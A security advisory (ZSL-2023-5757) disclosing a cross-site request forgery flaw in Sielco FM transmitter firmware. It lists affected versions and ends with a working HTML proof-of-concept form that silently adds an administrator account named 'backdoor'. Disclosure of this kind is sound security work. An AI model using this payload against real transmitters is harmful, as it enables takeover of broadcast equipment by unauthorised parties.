Sielco Analog FM Transmitter 2.12 Cross-Site Request Forgery  
Vendor: Sielco S.r.l  
Product web page:  
Affected version: 2.12 (EXC5000GX)  
2.12 (EXC120GX)  
2.11 (EXC300GX)  
2.10 (EXC1600GX)  
2.10 (EXC2000GX)  
2.08 (EXC1600GX)  
2.08 (EXC1000GX)  
2.07 (EXC3000GX)  
2.06 (EXC5000GX)  
1.7.7 (EXC30GT)  
1.7.4 (EXC300GT)  
1.7.4 (EXC100GT)  
1.7.4 (EXC5000GT)  
1.6.3 (EXC1000GT)  
1.5.4 (EXC120GT)  
Summary: Sielco designs and produces FM radio transmitters  
for professional broadcasting. The in-house laboratory develops  
standard and customised solutions to meet all needs. Whether  
digital or analogue, each product is studied to ensure reliability,  
resistance over time and a high standard of safety. Sielco  
transmitters are distributed throughout the world and serve  
many radios in Europe, South America, Africa, Oceania and China.  
Desc: The application interface allows users to perform certain  
actions via HTTP requests without performing any validity checks  
to verify the requests. This can be exploited to perform certain  
actions with administrative privileges if a logged-in user visits  
a malicious web site.  
Tested on: lwIP/2.1.1  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2023-5757  
Advisory URL:  
CSRF Add Admin:  
<form action="http://transmitter/protect/users.htm" method="POST">  
<input type="hidden" name="pwd0" value="" />  
<input type="hidden" name="pwd0bis" value="" />  
<input type="hidden" name="user1" value="" />  
<input type="hidden" name="pwd1" value="" />  
<input type="hidden" name="pwd1bis" value="" />  
<input type="hidden" name="auth1" value="" />  
<input type="hidden" name="user2" value="" />  
<input type="hidden" name="pwd2" value="" />  
<input type="hidden" name="pwd2bis" value="" />  
<input type="hidden" name="auth2" value="" />  
<input type="hidden" name="user3" value="backdoor" />  
<input type="hidden" name="pwd3" value="backdoor123" />  
<input type="hidden" name="pwd3bis" value="backdoor123" />  
<input type="hidden" name="auth3" value="2" />  
<input type="submit" value="Adminize!" />